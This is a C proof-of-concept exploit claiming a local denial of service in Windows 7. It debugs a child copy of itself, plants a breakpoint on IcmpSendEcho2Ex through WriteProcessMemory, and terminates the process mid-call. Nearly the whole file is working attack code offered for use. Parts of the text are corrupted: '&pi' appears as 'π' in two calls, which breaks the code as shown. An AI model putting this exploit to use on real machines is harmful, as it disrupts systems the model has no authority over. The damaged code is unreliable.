/*
Microsoft Windows DoS (IcmpSendEcho2Ex interrupting)
Author: l3D
Sites: http://nullbyte.org.il, http://forums.hacking.org.il
IRC: irc://irc.nix.co.il/#security
Email: pupipup33@gmail.com
Tested on Windows 7

Microsoft Windows operating system is prone to a local DoS by interrupting the function IcmpSendEcho2Ex.
The IP address argument should be a non-exist IP address on the net, so the function will wait longer time.
*/
#include <stdio.h>
#include <windows.h>
#include <iphlpapi.h>
#include <winsock2.h>

#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")

#define PARAM 0xDEADBEEF

void Terminate(HANDLE hProcess){
     Sleep(150);
     TerminateProcess(hProcess, -1);
}

int main(int argc, char **argv){
    if( argc<2){
        printf("Usage: %s <ip address>\n", argv[0]);
        return 1;
    }
    
    if( IsDebuggerPresent()){
        HANDLE iphlpapi=LoadLibrary("iphlpapi.dll");
        if( !iphlpapi){
            perror("iphlpapi.dll");
            return 1;
        }
        FARPROC IcmpSendEcho=GetProcAddress(iphlpapi, "IcmpSendEcho");
        FARPROC IcmpCreateFile=GetProcAddress(iphlpapi, "IcmpCreateFile");
        FARPROC IcmpCloseHandle=GetProcAddress(iphlpapi, "IcmpCloseHandle");
        if( (IcmpSendEcho && IcmpCreateFile && IcmpCloseHandle)==0){
            perror("icmp functions");
            return 1;
        }
        
        unsigned long ipaddr=INADDR_NONE, params[2];
        HANDLE hIcmpFile;
        char data[32], *reply;
        int replySize=sizeof(ICMP_ECHO_REPLY)+sizeof(data);
        
        if( (ipaddr=inet_addr(argv[1]))==INADDR_NONE){
            perror("Illegal IP address!");
            return 1;
        }
        
        if( (hIcmpFile=(HANDLE)IcmpCreateFile())==INVALID_HANDLE_VALUE){
            perror("IcmpCreateFile");
            return 1;
        }
        
        reply=(char *)malloc(replySize);
        ZeroMemory(data, sizeof(data));
        params[0]=PARAM;
        params[1]=(unsigned long)GetProcAddress(iphlpapi, "IcmpSendEcho2Ex");
        
        RaiseException(EXCEPTION_BREAKPOINT, 0, 2, params);
        puts("Exception raised!");
        IcmpSendEcho(hIcmpFile, ipaddr, data, sizeof(data), NULL, reply, replySize, 1000);
        puts("This line should never be shown...");
        IcmpCloseHandle(hIcmpFile);
        return 0;
    }
    
    PROCESS_INFORMATION pi;
    STARTUPINFO si;
    HANDLE hProcess, hThread;
    DEBUG_EVENT debugEvent;
    EXCEPTION_RECORD *ExceptionRecord=&debugEvent.u.Exception.ExceptionRecord;
    CONTEXT context;
    FARPROC IcmpSendEcho2Ex=NULL;
    char path[256], args[512], originalByte[1];
    
    ZeroMemory(π, sizeof(PROCESS_INFORMATION));
    ZeroMemory(&si, sizeof(STARTUPINFO));
    ZeroMemory(&debugEvent, sizeof(DEBUG_EVENT));
    ZeroMemory(&context, sizeof(CONTEXT));
    ZeroMemory(path, sizeof(path));
    ZeroMemory(args, sizeof(args));
    si.cb=sizeof(STARTUPINFO);
    si.dwFlags=STARTF_USESHOWWINDOW;
    si.wShowWindow=SW_HIDE;
    context.ContextFlags=CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
    
    GetModuleFileName(NULL, path, sizeof(path)-1);
    snprintf(args, sizeof(args)-1, "%s %s", path, argv[1]);
    
    if( !CreateProcess(
        NULL,
        args,
        NULL,
        NULL,
        FALSE,
        DEBUG_PROCESS,
        NULL,
        NULL,
        &si,
        π
    )){
       perror("CreateProcess");
       return 1;
    }
    
    if( (hProcess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId))==NULL){
       perror("OpenProcess");
       return 1;
    }
    
    HANDLE kernel32=LoadLibrary("kernel32.dll");
    FARPROC DebugSetProcessKillOnExit=GetProcAddress(kernel32, "DebugSetProcessKillOnExit");
    FARPROC DebugActiveProcessStop=GetProcAddress(kernel32, "DebugActiveProcessStop");
    FARPROC OpenThread=GetProcAddress(kernel32, "OpenThread");
    CloseHandle(kernel32);
    DebugSetProcessKillOnExit(TRUE);
    
    while(WaitForDebugEvent(&debugEvent, INFINITE) && debugEvent.dwDebugEventCode!=EXIT_PROCESS_DEBUG_EVENT){
             if( debugEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT && ExceptionRecord->ExceptionCode==EXCEPTION_BREAKPOINT){
                 if( ExceptionRecord->NumberParameters>1 && ExceptionRecord->ExceptionInformation[0]==PARAM){
                     IcmpSendEcho2Ex=(FARPROC)ExceptionRecord->ExceptionInformation[1];
                     printf("IcmpSendEcho2Ex %p\n", IcmpSendEcho2Ex);
                     if( !BreakpointSet(hProcess, IcmpSendEcho2Ex, &originalByte)){
                         perror("BreakpointSet");
                         break;
                     }
                 }
                 else if( ExceptionRecord->ExceptionAddress==IcmpSendEcho2Ex){
                      printf("EIP %p\n", IcmpSendEcho2Ex);
                      if( !BreakpointRetrieve(hProcess, IcmpSendEcho2Ex, &originalByte)){
                          perror("BreakpointRetrieve");
                          break;
                      }
                      if((hThread=(HANDLE)OpenThread(THREAD_ALL_ACCESS, FALSE, debugEvent.dwThreadId))==NULL) puts("OpenThread");
                      if(!GetThreadContext(hThread, &context)) puts("GetThreadContext");
                      context.Eip -= 1;
                      if(!SetThreadContext(hThread, &context)) puts("SetThreadContext");
                      CreateThread(NULL, 0, (void *)Terminate, hProcess, 0, NULL);
                 }
             }
             else if( debugEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT){
                  puts("Exception!");
                  DebugActiveProcessStop(debugEvent.dwProcessId);
                  break;
             }
             ContinueDebugEvent(debugEvent.dwProcessId, debugEvent.dwThreadId, DBG_CONTINUE);
             ZeroMemory(&debugEvent, sizeof(DEBUG_EVENT));
    }
    
    return 0;
}

BOOL BreakpointSet(HANDLE hProcess, void *addr, char *originalByte){
     unsigned long oldProtect;
     if(
     VirtualProtectEx(hProcess, addr, 1, PAGE_EXECUTE_READWRITE, &oldProtect) &&
     ReadProcessMemory(hProcess, addr, originalByte, 1, NULL) &&
     WriteProcessMemory(hProcess, addr, "\xCC", 1, NULL) &&
     VirtualProtectEx(hProcess, addr, 1, oldProtect, &oldProtect))
     return TRUE;
     else return FALSE;
}

BOOL BreakpointRetrieve(HANDLE hProcess, void *addr, char *originalByte){
     unsigned long oldProtect;
     if(
     VirtualProtectEx(hProcess, addr, 1, PAGE_EXECUTE_READWRITE, &oldProtect) &&
     WriteProcessMemory(hProcess, addr, originalByte, 1, NULL) &&
     VirtualProtectEx(hProcess, addr, 1, oldProtect, &oldProtect))
     return TRUE;
     else return FALSE;
}
